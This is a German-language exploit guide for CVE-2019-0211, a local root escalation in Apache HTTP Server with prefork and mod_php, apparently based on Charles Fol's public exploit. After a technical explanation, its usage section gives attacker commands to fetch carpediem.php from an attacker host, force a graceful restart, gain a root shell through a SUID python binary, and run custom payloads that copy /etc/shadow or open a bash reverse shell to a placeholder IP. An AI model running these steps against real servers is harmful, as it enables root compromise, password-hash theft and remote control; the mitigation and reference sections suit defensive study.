CVE-2019-0211 — Lokale Privilegieneskalation im Apache HTTP Server (CARPE DIEM)

Beschreibung

CVE-2019-0211 ist eine Schwachstelle zur lokalen Privilegieneskalation, die den Apache HTTP Server in den Versionen 2.4.17 bis 2.4.38 mit mod_prefork und mod_php (oder PHP-FPM) betrifft.

Die Schwachstelle ermöglicht es einem Angreifer mit einer Shell als www-data, auf root zu eskalieren, indem eine Kombination aus Use-After-Free (UAF) in PHP und einer Korruption des Apache-Scoreboards ausgenutzt wird. Wenn Apache einen graceful restart durchführt (z. B. durch logrotate um 6:25 Uhr), wird child_init() vor dem Droppen der Privilegien ausgeführt. Wenn es gelingt, den Zeiger auf diese Funktion zu korrumpieren, kann Apache veranlasst werden, einen beliebigen Befehl als root auszuführen.

CVSS 3.1: 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Technische Details

Mechanismus

Apache verwendet einen gemeinsam genutzten Speicherbereich namens Scoreboard, in dem jeder Worker-Kindprozess eine process_score-Struktur mit einem bucket-Zeiger auf prefork_child_bucket hat. Dieser Bucket enthält ein apr_proc_mutex_t mit Funktionszeigern (meth->child_init()).

Wenn Apache einen graceful restart durchführt (natürlicher Auslöser um 6:25 Uhr durch logrotate), wird child_init() vor dem Droppen der Privilegien aufgerufen. Der Exploit:

1. Löst einen UAF in PHP aus, indem er DateInterval-Objekte und JSON-Serialisierung manipuliert
2. Erhält eine primitive zum beliebigen Lesen/Schreiben im Speicher
3. Liest /proc/self/maps, um das Scoreboard (SHM in /dev/zero) zu lokalisieren
4. Findet die all_buckets-Struktur im Apache-Speicher
5. Überschreibt die Buckets mit einem Payload, das meth->child_init() auf system() umleitet
6. Beim nächsten Restart führt Apache das Payload als root aus

Exploit

Originalautor

Charles Fol — @cfreal_

Blogpost original: CARPE DIEM — CVE-2019-0211 Apache Local Root

Voraussetzungen

• Apache HTTP Server 2.4.17 – 2.4.38 mit mod_php (PHP 7.x)
• Shell als www-data auf dem Server
• Fähigkeit, eine .php-Datei in ein von Apache ausgeliefertes Verzeichnis zu schreiben

Verwendung

# 1. Exploit auf den verwundbaren Server hochladen
# Von deinem Angreifer-Rechner:
python3 -m http.server 8080
# Auf dem Server (als www-data):
cd /var/www/html
wget http://DEINE_IP:8080/carpediem.php

# 2. Exploit ausführen
curl http://localhost/carpediem.php

# 3. Warten, bis Apache einen graceful restart durchführt
# Option A) Warten bis 6:25 Uhr (automatischer logrotate)
# Option B) logrotate erzwingen, falls du Berechtigungen hast:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force

# 4. Überprüfen, ob python3.5 jetzt SUID root ist
ls -la /usr/bin/python3.5
# Erwartete Ausgabe: -rwsr-sr-x 2 root root ...

# 5. Auf root eskalieren
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Benutzerdefiniertes Payload

Du kannst den Befehl, der als root ausgeführt wird, mit dem Parameter cmd ändern:

# Beispiel: eine Kopie von /etc/shadow erstellen
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"

# Beispiel: Reverse Shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/DEINE_IP/PORT+0>%261'"

Erfolgsrate

Mehr Workers = höhere Erfolgsrate.

Mitigation

• Apache HTTP Server auf Version ≥ 2.4.39 aktualisieren
• Von MPM prefork zu MPM event migrieren (geringere Angriffsfläche im Scoreboard)
• Zugriff auf /proc/self/maps durch hidef oder AppArmor/SELinux einschränken

Referenzen

• NVD — CVE-2019-0211
• CARPE DIEM Blogpost — Charles Fol
• Exploit auf GitHub — cfreal/exploits
• Exploit-DB #46676
• Apache-Sicherheitshinweise